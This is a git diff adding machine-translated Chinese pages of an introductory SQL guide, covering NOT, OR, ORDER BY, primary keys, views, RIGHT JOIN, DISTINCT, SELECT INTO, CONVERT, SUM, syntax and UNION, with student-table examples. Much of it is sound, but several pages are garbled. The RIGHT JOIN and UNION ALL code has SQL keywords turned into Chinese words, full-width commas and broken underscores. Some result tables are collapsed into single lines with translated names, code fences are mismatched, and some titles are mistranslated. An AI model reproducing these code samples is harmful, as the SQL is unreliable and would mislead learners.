+ +-----------+----------------------+-----------+---------------------+ 
+ |         1 | Monique Davis        |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez       |       800 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey         |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene         |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman       |      1200 | 2017-08-16 15:34:50 | 
+ |         8 | Donald D. Chamberlin |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce     |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+----------------------+-----------+---------------------+ 
+ 7 rows in set (0.00 sec) 
+```
+
+_以下是与上面的where子句结果集进行比较的当前完整学生列表。_
+
+```sql
+SELECT studentID, FullName, sat_score, rcd_updated FROM student; 
+```
+
+\`\`\`文本 + ----------- + ------------------------ + ----------- + --------------------- + | studentID | FullName |坐_得分| rcd_更新了| + ----------- + ------------------------ + ----------- + --------------------- + | 1 |莫妮克戴维斯| 400 | 2017-08-16 15:34:50 | | 2 | Teri Gutierrez | 800 | 2017-08-16 15:34:50 | | 3 | Spencer Pautier | 1000 | 2017-08-16 15:34:50 | | 4 |路易斯拉姆齐| 1200 | 2017-08-16 15:34:50 | | 5 | Alvin Greene | 1200 | 2017-08-16 15:34:50 | | 6 |索菲弗里曼| 1200 | 2017-08-16 15:34:50 | | 7 |埃德加弗兰克“特德”科德| 2400 | 2017-08-16 15:35:33 | | 8 |唐纳德D. Chamberlin | 2400 | 2017-08-16 15:35:33 | | 9 |雷蒙德F.博伊斯| 2400 | 2017-08-16 15:35:33 | + ----------- + ------------------------ + ----------- + --------------------- + 9行（0.00秒）
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-not-operator/index.md b/client/src/guide/chinese/sql/sql-not-operator/index.md
new file mode 100644
index 0000000000..a2eb33f193
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-not-operator/index.md
@@ -0,0 +1,16 @@
+---
+title: SQL not Operator
+localeTitle: SQL不是运算符
+---
+## SQL不是运算符
+
+您可以在`SELECT`语句的`WHERE`子句中使用`NOT`运算符。如果要选择不正确的条件，请使用它。
+
+这是一个选择所有不是男性的人的例子：
+
+```sql
+SELECT Id, Name, DateOfBirth, Gender 
+ FROM Person 
+ WHERE NOT Gender = "M" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-or-operator/index.md b/client/src/guide/chinese/sql/sql-or-operator/index.md
new file mode 100644
index 0000000000..d991a15820
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-or-operator/index.md
@@ -0,0 +1,25 @@
+---
+title: SQL or Operator
+localeTitle: SQL或运算符
+---
+## SQL或运算符
+
+您可以在`SELECT`语句的`WHERE`子句中使用`OR`运算符。当您想要选择满足`OR`语句中至少一个条件的记录时，可以使用它。
+
+下面是一个示例，它选择Person表中所有男性或名称为“Mary”的记录：
+
+```sql
+SELECT Id, Name, DateOfBirth, Gender 
+ FROM Person 
+ WHERE Gender = “M” OR Name = “Mary” 
+```
+
+您可以在`WHERE`子句中组合其他运算符（使用括号表示操作的顺序），如下例所示：
+
+```sql
+SELECT Id, Name, DateOfBirth, Gender 
+ FROM Person 
+ WHERE Gender = “M” AND (Name = “Peter” OR Name = “John”) 
+```
+
+此示例选择Gender为“M”且Name为“Peter”的所有记录，以及Gender为“M”且名称为“John”的记录。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-order-by-keyword/index.md b/client/src/guide/chinese/sql/sql-order-by-keyword/index.md
new file mode 100644
index 0000000000..74093e81d3
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-order-by-keyword/index.md
@@ -0,0 +1,61 @@
+---
+title: SQL Order By Keyword
+localeTitle: SQL按顺序排序
+---
+## SQL按顺序排序
+
+### 订购方式（ASC，DESC）
+
+ORDER BY为我们提供了一种方法，可以通过SELECT部分​​中的一个或多个项来对结果集进行排序。这是一个按FullName降序排列学生的SQL。默认排序顺序是升序（ASC），但要按相反顺序（降序）排序，请使用DESC。
+
+```sql
+SELECT studentID, FullName, sat_score 
+ FROM student 
+ ORDER BY FullName DESC; 
+```
+
+```text
++-----------+------------------------+-----------+ 
+ | studentID | FullName               | sat_score | 
+ +-----------+------------------------+-----------+ 
+ |         2 | Teri Gutierrez         |       800 | 
+ |         3 | Spencer Pautier        |      1000 | 
+ |         6 | Sophie Freeman         |      1200 | 
+ |         9 | Raymond F. Boyce       |      2400 | 
+ |         1 | Monique Davis          |       400 | 
+ |         4 | Louis Ramsey           |      1200 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 
+ |         5 | Alvin Greene           |      1200 | 
+ +-----------+------------------------+-----------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+_这是与上述相比较的UN-ORDERED，当前，完整学生列表。_
+
+```sql
+SELECT studentID, FullName, sat_score, rcd_updated FROM student; 
+```
+
+```text
++-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         1 | Monique Davis          |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-primary-key-constraint/index.md b/client/src/guide/chinese/sql/sql-primary-key-constraint/index.md
new file mode 100644
index 0000000000..c12f688d41
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-primary-key-constraint/index.md
@@ -0,0 +1,52 @@
+---
+title: SQL Primary Key Constraint
+localeTitle: SQL主键约束
+---
+## 主键约束
+
+### 介绍
+
+主键是唯一标识表中每一行的列或一组列。
+
+它被称为“约束”，因为它会导致系统限制这些列中允许的数据。在这种情况下…。
+
+*   包含数据（NOT NULL）
+*   从表中的所有其他行中取出UNIQUE。
+*   每个表只能有一个主键
+
+主键主要用于维护每行的数据完整性。
+
+它还允许系统和应用程序确保正确读取，更新和连接数据。
+
+### create table的示例
+
+这是一个create table命令，它还将使用两个字段创建主键。
+
+```sql
+CREATE TABLE priKeyExample( 
+ rcdKey_id_a INT NOT NULL, 
+ rcdKeySeq_id INT NOT NULL, 
+ someData varchar(256) NOT NULL, 
+ PRIMARY KEY(rcdKey_id_a,rcdKeySeq_id)); 
+```
+
+### alter table的示例
+
+必须先删除现有的一个
+
+```sql
+DROP INDEX `primary` ON priKeyExample; 
+```
+
+现在我们将添加新的。
+
+```sql
+ALTER TABLE priKeyExample 
+ ADD CONSTRAINT myPriKey PRIMARY KEY(rcdKey_id_a,rcdKeySeq_id); 
+```
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-replace-view-statement/index.md b/client/src/guide/chinese/sql/sql-replace-view-statement/index.md
new file mode 100644
index 0000000000..0786ec3aef
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-replace-view-statement/index.md
@@ -0,0 +1,110 @@
+---
+title: SQL Replace VIEW Statement
+localeTitle: SQL替换VIEW语句
+---
+## SQL替换VIEW语句
+
+## 介绍
+
+View是一个数据库对象，它在一个或多个表中显示数据。用于创建视图的相同SQL语句也可用于替换现有视图。
+
+本指南将使用略有不同且名称不同的视图更新（替换）现有视图“programming-students-v”。
+
+安全提示：在对模式进行更改之前始终备份模式。
+
+### 一般sytax
+
+```sql
+CREATE OR REPLACE VIEW view_name AS 
+ SELECT column1, column2, ... 
+ FROM table_name 
+ WHERE condition; 
+```
+
+### SQL用于创建视图和当前数据
+
+```sql
+create view `programming-students-v` as 
+ select FullName, programOfStudy 
+ from student 
+ where programOfStudy = 'Programming'; 
+```
+
+```sql
+select * from `programming-students-v`; 
+```
+
+当前数据：
+
+```text
++-----------------+----------------+ 
+ | FullName        | programOfStudy | 
+ +-----------------+----------------+ 
+ | Teri Gutierrez  | Programming    | 
+ | Spencer Pautier | Programming    | 
+ | Louis Ramsey    | Programming    | 
+ | Alvin Greene    | Programming    | 
+ | Sophie Freeman  | Programming    | 
+ +-----------------+----------------+ 
+ 5 rows in set (0.00 sec) 
+```
+
+现有视图的列表：
+
+```sql
+SHOW FULL TABLES IN fcc_sql_guides_database WHERE TABLE_TYPE LIKE 'VIEW'; 
+```
+
+```text
++-----------------------------------+------------+ 
+ | Tables_in_fcc_sql_guides_database | Table_type | 
+ +-----------------------------------+------------+ 
+ | programming-students-v            | VIEW       | 
+ | students-contact-info_v           | VIEW       | 
+ | students_dropme_v                 | VIEW       | 
+ +-----------------------------------+------------+ 
+ 3 rows in set (0.00 sec) 
+```
+
+### 替换视图
+
+```sql
+create or replace view `programming-students-v` as 
+ select FullName, programOfStudy, sat_score 
+ from student 
+ where programOfStudy = 'Programming'; 
+```
+
+```sql
+select * from `programming-students-v`; 
+```
+
+注意：视图现在显示sat\_score。
+
+```text
++-----------------+----------------+-----------+ 
+ | FullName        | programOfStudy | sat_score | 
+ +-----------------+----------------+-----------+ 
+ | Teri Gutierrez  | Programming    |       800 | 
+ | Spencer Pautier | Programming    |      1000 | 
+ | Louis Ramsey    | Programming    |      1200 | 
+ | Alvin Greene    | Programming    |      1200 | 
+ | Sophie Freeman  | Programming    |      1200 | 
+ +-----------------+----------------+-----------+ 
+```
+
+注意：视图列表没有更改，我们的视图被替换。
+
+```text
+mysql>  SHOW FULL TABLES IN fcc_sql_guides_database WHERE TABLE_TYPE LIKE 'VIEW'; 
+ +-----------------------------------+------------+ 
+ | Tables_in_fcc_sql_guides_database | Table_type | 
+ +-----------------------------------+------------+ 
+ | programming-students-v            | VIEW       | 
+ | students-contact-info_v           | VIEW       | 
+ | students_dropme_v                 | VIEW       | 
+ +-----------------------------------+------------+ 
+ 3 rows in set (0.00 sec) 
+```
+
+\*与所有这些SQL事物一样，它们比本入门指南中的内容更多。我希望这至少足以让你开始。请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-right-join-keyword/index.md b/client/src/guide/chinese/sql/sql-right-join-keyword/index.md
new file mode 100644
index 0000000000..a902b6ff26
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-right-join-keyword/index.md
@@ -0,0 +1,60 @@
+---
+title: SQL Right Join
+localeTitle: SQL Right Join
+---
+## SQL Right Join
+
+### 使用示例
+
+对于本指南，我们将讨论SQL RIGHT JOIN。
+
+### 正确的加入
+
+RIGHT JOIN关键字返回右表（table2）中的所有记录，以及左表（table1）中的匹配记录。当没有匹配时，结果从左侧为NULL。
+
+```sql
+SELECT * 
+ FROM table1 
+ RIGHT JOIN table2 
+ ON table1.column_name = table2.column_name; 
+```
+
+### 完整的表格列表供参考
+
+食物或左表数据
+
+```text
++---------+--------------+-----------+------------+ 
+ | ITEM_ID | ITEM_NAME    | ITEM_UNIT | COMPANY_ID | 
+ +---------+--------------+-----------+------------+ 
+ | 1       | Chex Mix     | Pcs       | 16         | 
+ | 6       | Cheez-It     | Pcs       | 15         | 
+ | 2       | BN Biscuit   | Pcs       | 15         | 
+ | 3       | Mighty Munch | Pcs       | 17         | 
+ | 4       | Pot Rice     | Pcs       | 15         | 
+ | 5       | Jaffa Cakes  | Pcs       | 18         | 
+ | 7       | Salt n Shake | Pcs       |            | 
+ +---------+--------------+-----------+------------+ 
+ 
+ 
+ 
+ company or RIGHT table data 
+```
+
+文本 + ------------ + -------- + -------------- + |公司_ID |公司_名称| COMPANY\_CITY | + ------------ + -------- + -------------- + | 18 |全部订购|波士顿| | 15 |杰克希尔有限公司|伦敦| | 16 | Akas Foods |德里| | 17 |美食家。 |伦敦| | 19 | SIP-正撕咬。 |纽约| + ------------ + -------- + -------------- +
+```
+To get company name from company table and company ID, item name columns from foods table, the following SQL statement can be used: 
+```
+
+SQL SELECT company.company _id，company.company_ name， company.company _city，foods.company_ id，foods.item _名称 来自公司 正确的食物 ON company.company_ id = foods.company\_id;
+```
+OUTPUT 
+```
+
+文本 公司_ID公司_名称公司_城市公司_ ID ITEM\_NAME
+
+* * *
+
+18订购所有波士顿18 Jaffa蛋糕 15杰克山有限公司伦敦15锅饭 15 Jack Hill Ltd伦敦15 BN饼干 15 Jack Hill Ltd伦敦15 Cheez-It 16 Akas Foods Delhi 16 Chex Mix 17美食家。伦敦17 Mighty Munch NULL NULL NULL NULL Salt n Shake
+
+\`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-select-distinct-statement/index.md b/client/src/guide/chinese/sql/sql-select-distinct-statement/index.md
new file mode 100644
index 0000000000..e66d404101
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-select-distinct-statement/index.md
@@ -0,0 +1,56 @@
+---
+title: SQL Select Distinct Statement
+localeTitle: SQL选择Distinct语句
+---
+## SQL选择Distinct语句
+
+### 介绍
+
+此关键字允许我们获取列中唯一值的列表。本指南将证明这一点。
+
+### 完整显示学生表中的数据
+
+```sql
+USE fcc_sql_guides_database; 
+ SELECT studentID, FullName, sat_score, programOfStudy, rcd_Created, rcd_Updated FROM student; 
+```
+
+```text
++-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ | studentID | FullName               | sat_score | programOfStudy   | rcd_Created         | rcd_Updated         | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ |         1 | Monique Davis          |       400 | Literature       | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+### 获取学习领域列表
+
+```sql
+SELECT DISTINCT programOfStudy FROM student; 
+```
+
+```text
++------------------+ 
+ | programOfStudy   | 
+ +------------------+ 
+ | Literature       | 
+ | Programming      | 
+ | Computer Science | 
+ +------------------+ 
+ 3 rows in set (0.00 sec) 
+```
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-select-into-statement/index.md b/client/src/guide/chinese/sql/sql-select-into-statement/index.md
new file mode 100644
index 0000000000..0871506ea9
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-select-into-statement/index.md
@@ -0,0 +1,34 @@
+---
+title: SQL Select into Statement
+localeTitle: SQL Select into Statement
+---
+## SQL Select into Statement
+
+`SELECT INTO`语句是一个查询，允许您创建一个_新_表并使用`SELECT statement`的结果集填充它。要将数据添加到现有表，请参阅[INSERT INTO](guides/src/pages/sql/sql-insert-into-select-statement/index.md)语句。
+
+将多个表或视图中的数据组合到新表中时，可以使用`SELECT INTO` 。 1原始表不受影响。
+
+一般语法是：
+
+```sql
+SELECT column-names 
+  INTO new-table-name 
+  FROM table-name 
+ WHERE EXISTS 
+      (SELECT column-name 
+         FROM table-name 
+        WHERE condition) 
+```
+
+此示例显示了一组从“Supplier”表“复制”到新的名为SupplierUSA的表，该表保存与值为“USA”的列国家/地区相关的集合。
+
+`sql SELECT * INTO SupplierUSA FROM Supplier WHERE Country = 'USA';` **结果** ：4行影响2
+
+| ID |公司名称| ContactName |城市|国家|电话| | ---- | ----------------------------- |：------------- - ：| ------------- |：--------：|：--------------：| | 2 |新奥尔良Cajun Delights | Shelley Burke |新奥尔良|美国| （100）555-4822 | | 3 |奶奶凯莉的家园| Regina Murphy |安娜堡|美国| （313）555-5735 | | 16 |大脚啤酒厂| Cheryl Saylor |弯曲|美国| NULL | | 19 |新英格兰海鲜罐头厂Robb Merchant |波士顿|美国| （617）555-3267 |
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
+
+## 来源
+
+1.  （Microsoft - 使用SELECT INTO插入行）\[https://technet.microsoft.com/en-us/library/ms190750（v = sql.105）.aspx\]
+2.  （dofactory - SQL SELECT INTO语句）\[http://www.dofactory.com/sql/select-into\]
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-select-statement/index.md b/client/src/guide/chinese/sql/sql-select-statement/index.md
new file mode 100644
index 0000000000..87262c07ce
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-select-statement/index.md
@@ -0,0 +1,39 @@
+---
+title: SQL Select Statement
+localeTitle: SQL Select语句
+---
+## SQL Select语句
+
+## 选择和从子句
+
+查询的SELECT部分​​通常用于确定要在结果中显示哪些数据列。您还可以应用选项来显示非表格列的数据。
+
+此示例显示从“student”表和一个计算列中选择的三列。数据库存储学生的studentID，FirstName和LastName。我们可以组合First和Last name列来创建FullName计算列。
+
+```sql
+select studentID, FirstName, LastName, FirstName + ' ' + LastName as FullName 
+ from student; 
+```
+
+```text
++-----------+-------------------+------------+------------------------+ 
+ | studentID | FirstName         | LastName   | FullName               | 
+ +-----------+-------------------+------------+------------------------+ 
+ |         1 | Monique           | Davis      | Monique Davis          | 
+ |         2 | Teri              | Gutierrez  | Teri Gutierrez         | 
+ |         3 | Spencer           | Pautier    | Spencer Pautier        | 
+ |         4 | Louis             | Ramsey     | Louis Ramsey           | 
+ |         5 | Alvin             | Greene     | Alvin Greene           | 
+ |         6 | Sophie            | Freeman    | Sophie Freeman         | 
+ |         7 | Edgar Frank "Ted" | Codd       | Edgar Frank "Ted" Codd | 
+ |         8 | Donald D.         | Chamberlin | Donald D. Chamberlin   | 
+ |         9 | Raymond F.        | Boyce      | Raymond F. Boyce       | 
+ +-----------+-------------------+------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+\*与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-server-convert-function/index.md b/client/src/guide/chinese/sql/sql-server-convert-function/index.md
new file mode 100644
index 0000000000..2b8f07c410
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-server-convert-function/index.md
@@ -0,0 +1,51 @@
+---
+title: SQL Server Convert Function
+localeTitle: SQL Server转换函数
+---
+## SQL Server转换函数
+
+从一种数据类型转换为另一种数据类型。
+
+### 句法
+
+`CONVERT (_New Data Type, Expression, Style_)`
+
+*   **新数据类型：**也要转换的新数据类型。例如：nvarchar，integer，decimal，date
+*   **表达式：**要转换的数据。
+*   **风格：**格式。例如：样式110是美国日期格式mm-dd-yyyy
+
+### 示例：将十进制数转换为整数
+
+`SELECT CONVERT(INT, 23.456) as IntegerNumber`
+
+![将十进制数转换为整数](https://user-images.githubusercontent.com/12566249/31314884-6c94db4a-ac57-11e7-842f-710fad511131.png)
+
+注意：结果被截断。
+
+### 示例：将字符串转换为日期
+
+`SELECT CONVERT(DATE, '20161030') as Date`
+
+![将字符串转换为日期类型](https://user-images.githubusercontent.com/12566249/31314912-c25bbb52-ac57-11e7-880d-6d81041b1728.png)
+
+### 示例：将十进制转换为字符串
+
+`SELECT CONVERT(nvarchar, 20.123) as StringData`
+
+![将小数转换为字符串](https://user-images.githubusercontent.com/12566249/31314923-fb04e410-ac57-11e7-9646-94061e1f0ec2.png)
+
+### 示例：将整数转换为十进制数
+
+`SELECT CONVERT(DECIMAL (15,3), 13) as DecimalNumber`
+
+![将整数转换为十进制数](https://user-images.githubusercontent.com/12566249/31314932-1c8668ca-ac58-11e7-8cee-4d57fc523704.png)
+
+### 示例：在美国日期样式中将字符串转换为日期格式
+
+`SELECT CONVERT(DATE, '20171030' , 110) To_USA_DateFormat`
+
+![将字符串转换为美国日期样式的日期格式](https://user-images.githubusercontent.com/12566249/31314937-35155d06-ac58-11e7-9d5d-823b66c41d0d.png)
+
+### 更多信息：
+
+*   有关转换功能的信息： [Microsoft](https://docs.microsoft.com/en-us/sql/t-sql/functions/cast-and-convert-transact-sql)
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-sum-function/index.md b/client/src/guide/chinese/sql/sql-sum-function/index.md
new file mode 100644
index 0000000000..19ca55941b
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-sum-function/index.md
@@ -0,0 +1,47 @@
+---
+title: SQL Sum Function
+localeTitle: SQL求和函数
+---
+## SQL求和函数
+
+这是聚合函数之一（如计数，平均值，最大值，最小值等）。它们在GROUP BY子句中使用，因为它聚合语句的SELECT FROM WHERE部分所呈现的数据。
+
+### 使用示例
+
+SELECT语句中的“sum（Total\_ $）”聚合在GROUP BY子句中。 “Count（\*）”提供了贡献的数量。
+
+这些数据来自我们在其中一些指南中使用的广告系列贡献数据。
+
+这个SQL语句正在回答这个问题：“哪些候选人在2016年获得了最大的总捐款额，但只有那些超过2000万美元的所有捐款合计？”
+
+以降序（DESC）顺序对此数据集进行排序会将总贡献最大的候选项放在列表顶部。
+
+```sql
+SELECT Candidate, Election_year, sum(Total_$), count(*) 
+ FROM combined_party_data 
+ WHERE Election_year = 2016 
+ GROUP BY Candidate, Election_year -- this tells the DBMS to summarize by these two columns 
+ HAVING sum(Total_$) > 20000000  -- limits the rows presented from the summary of money ($20 Million USD) 
+ ORDER BY sum(Total_$) DESC; -- orders the presented rows with the largest ones first. 
+```
+
+```text
++--------------------------------------------------+---------------+-------------------+----------+ 
+ | Candidate                                        | Election_year | sum(Total_$)      | count(*) | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ | CLINTON, HILLARY RODHAM & KAINE, TIMOTHY M (TIM) |          2016 | 568135094.4400003 |      126 | 
+ | TRUMP, DONALD J & PENCE, MICHAEL R (MIKE)        |          2016 | 366853142.7899999 |      114 | 
+ | SANDERS, BERNARD (BERNIE)                        |          2016 |      258562022.17 |      122 | 
+ | CRUZ, RAFAEL EDWARD (TED)                        |          2016 | 93430700.29000005 |      104 | 
+ | CARSON, BENJAMIN S (BEN)                         |          2016 | 62202411.12999996 |       93 | 
+ | RUBIO, MARCO ANTONIO                             |          2016 |        44384313.9 |      106 | 
+ | BUSH, JOHN ELLIS (JEB)                           |          2016 |       34606731.78 |       97 | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ 7 rows in set (0.01 sec) 
+```
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-syntax/index.md b/client/src/guide/chinese/sql/sql-syntax/index.md
new file mode 100644
index 0000000000..7d6eccd934
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-syntax/index.md
@@ -0,0 +1,108 @@
+---
+title: SQL Syntax
+localeTitle: SQL语法
+---
+## SQL语法
+
+### 介绍
+
+本指南提供了SQL语句语法的基本高级描述。
+
+SQL是一个国际标准（ISO），但您会发现实现之间存在许多差异。本指南以MySQL为例。如果您使用许多其他关系数据库管理器（DBMS）之一，则需要在需要时检查该DBMS的手册。
+
+### 我们将涵盖哪些内容
+
+*   使用（设置语句将使用的数据库）
+*   选择和从子句
+*   条款（和/或，IN，之间，LIKE）
+*   订购方式（ASC，DESC）
+*   分组和拥有
+
+### 如何使用这个
+
+这用于选择包含SQL语句表的数据库：
+
+```sql
+use fcc_sql_guides_database; -- select the guide sample database 
+```
+
+### 选择和从子句
+
+选择部分通常用于确定要在结果中显示哪些数据列。您还可以使用选项来显示非表格列的数据。
+
+此示例显示从“student”表中选择的两列和两个计算列。第一个计算列是无意义的数字，另一个是系统日期。
+
+```sql
+    select studentID, FullName, 3+2 as five, now() as currentDate 
+    from student; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/syntax01.JPG)
+
+### 条款（和/或，IN，介于和LIKE之间）
+
+WHERE子句用于限制返回的行数。
+
+在这种情况下，所有这五个将被使用是一个有点荒谬的Where子句。
+
+将此结果与上述SQL语句进行比较，以遵循此逻辑。
+
+行将呈现：
+
+*   学生证在1到5之间（含）
+*   或studentID = 8
+*   或者名字中有“Maxmimo”
+
+以下示例类似，但它进一步指定如果任何学生具有某些SAT分数（1000,1400），则不会显示它们：
+
+```sql
+    select studentID, FullName, sat_score, recordUpdated 
+    from student 
+    where ( 
+        studentID between 1 and 5 
+        or studentID = 8 
+        or FullName like '%Maximo%' 
+        ) 
+        and sat_score NOT in (1000, 1400); 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/syntax02.JPG)
+
+### 订购方式（ASC，DESC）
+
+Order By为我们提供了一种方法，可以通过SELECT部分​​中的一个或多个项对结果集进行排序。这是与上面相同的列表，但按学生姓名排序。默认排序顺序是升序（ASC），但要按相反顺序（降序）排序，您使用DESC，如下例所示：
+
+```sql
+    select studentID, FullName, sat_score 
+    from student 
+    where (studentID between 1 and 5 -- inclusive 
+        or studentID = 8 
+        or FullName like '%Maximo%') 
+        and sat_score NOT in (1000, 1400) 
+    order by FullName DESC; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/syntax03.JPG)
+
+### 分组和拥有
+
+Group By为我们提供了一种组合行和聚合数据的方法。 Having子句与上面的Where子句类似，不同之处在于它对分组数据起作用。
+
+这些数据来自我们在其中一些指南中使用的广告系列贡献数据。
+
+这个SQL语句回答了这个问题：“哪些候选人在2016年收到了最多的捐款（不是$ amount，但是count（\*）），但只有那些捐款超过80的人呢？”
+
+按降序（DESC）顺序对此数据集进行排序会将具有最大贡献数的候选项放在列表顶部。
+
+```sql
+    select Candidate, Election_year, sum(Total_$), count(*) 
+    from combined_party_data 
+    where Election_year = 2016 
+    group by Candidate, Election_year 
+    having count(*) > 80 
+    order by count(*) DESC; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/syntax04.JPG)
+
+_与所有这些SQL事物一样，它们比本入门指南中的内容更多。我希望这至少足以让你开始。请参阅您的数据库管理员手册，并自己尝试不同的选项。_
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-union-operator/index.md b/client/src/guide/chinese/sql/sql-union-operator/index.md
new file mode 100644
index 0000000000..93a508f137
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-union-operator/index.md
@@ -0,0 +1,67 @@
+---
+title: SQL Union Operator
+localeTitle: SQL联盟运营商
+---
+## SQL联盟运营商
+
+### 描述
+
+对于本指南，我们将讨论SQL语句的UNION运算符部分。
+
+UNION运算符用于将多个select语句的结果组合到一个结果集中。
+
+SQL语句的Select语句中的列数必须相同。
+
+### 基本例子
+
+SQL语句
+
+```sql
+SELECT 'aaaaa' 
+ UNION 
+ SELECT 'bbbbbbbbb'; 
+```
+
+产量
+
+```text
++-----------+ 
+ | aaaaa     | 
+ +-----------+ 
+ | aaaaa     | 
+ | bbbbbbbbb | 
+ +-----------+ 
+ 2 rows in set (0.00 sec) 
+```
+
+### 使用学生表的示例
+
+SQL语句
+
+```sql
+SELECT StudentID, FullName FROM student WHERE studentID BETWEEN 1 AND 5 
+ UNION 
+ SELECT studentID, studentEmailAddr FROM `student-contact-info` WHERE studentID BETWEEN 7 AND 8; 
+```
+
+产量
+
+\`\`\`文字 + ----------- + -------------------------------- + | StudentID | FullName | + ----------- + -------------------------------- + | 1 |莫妮克戴维斯| | 2 | Teri Gutierrez | | 3 | Spencer Pautier | | 4 |路易斯拉姆齐| | 5 | Alvin Greene | | 7 | Maximo.Smith@freeCodeCamp.org | | 8 | Michael.Roach@freeCodeCamp.ort | + ----------- + -------------------------------- + 7行（0.00秒）
+```
+## SQL UNION ALL Operator 
+ 
+ The UNION ALL operator is an extension to UNION operator where it should result you a A+B of rows in the ouptput assuming A and B is your input, in simple terms UNION ALL doesn't deduplicate. 
+ 
+ 
+ ### Basic Syntax 
+ 
+ SQL Statement 
+```
+
+SQL SELECT expression1，expression2，... expression _n FROM表 \[条件\] UNION ALL SELECT expression1，expression2，... expression_ n FROM表 \[条件\]; \`\`\`
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
